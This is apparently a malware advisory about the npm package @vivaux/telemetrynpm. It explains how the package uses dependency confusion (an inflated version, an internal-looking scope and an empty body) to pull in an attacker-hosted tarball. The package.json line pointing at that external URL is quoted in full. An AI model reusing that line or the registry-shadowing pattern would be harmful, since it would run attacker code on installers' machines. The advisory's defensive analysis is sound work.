@vivaux/telemetrynpm

@vivaux/[email protected] ships an empty index.js and exists only to pull in an off-registry dependency. package.json declares "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.3.3.tgz" — a direct tarball URL rather than a registry name. Several signals stack: the @vivaux scope targets what appears to be a private/internal namespace; the inflated 99.9.1 version is the canonical registry-shadowing pattern used to win resolution against an internal package of the same name; the URL path segment literally contains depenconf (dependency confusion); and the package has placeholder metadata (empty author/description, license-only fields) with no real functionality of its own. On npm install, npm will fetch and install the arbitrary tarball, executing any lifecycle scripts it carries on the installer machine. The attacker controls the bytes at that URL and can rotate them at any time.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.